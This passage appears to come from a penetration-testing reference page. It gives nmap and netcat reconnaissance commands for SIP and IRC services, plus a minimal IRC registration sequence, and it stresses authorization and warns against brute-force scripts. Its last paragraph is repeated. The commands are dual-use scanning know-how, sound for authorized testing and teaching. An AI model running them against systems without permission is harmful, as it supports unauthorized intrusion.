Read: if a shell is obtained, verify hostname and id. A prompt or echoed username is not root access. A different daemon, fixed build, client negotiation mismatch or a rejected USER value → return to service identification. The affected upstream range and distribution fixes must be checked against the advisory rather than inferred from port 23.

SIP

These source-site topics contain only first-pass reconnaissance. Treat them as application-identification branches, not default exploitation paths.

Copy# SIP
nmap -Pn -sU -sV --script sip-methods -p 5060 TARGET
nmap -Pn -sT -sV --script sip-methods -p 5060 TARGET

# IRC
nmap -Pn -sV --script irc-info -p PORT TARGET
nc -nv TARGET PORT

Decisive output: a SIP response and supported methods. open|filtered without application response remains ambiguous. Do not run sip-brute until the exact registrar, known test identities, lockout policy and explicit authorization are established.

Minimal registration for an authorized test client

Copy# Minimal registration for an authorized test client
NICK testnick
USER testuser 0 * :Test User
QUIT

Decisive output: IRC numeric replies, server/network name, version/capabilities or authentication requirement. Do not use irc-brute as identification; authenticate only with legitimately acquired credentials.

Decisive output: IRC numeric replies, server/network name, version/capabilities or authentication requirement. Do not use irc-brute as identification; authenticate only with legitimately acquired credentials.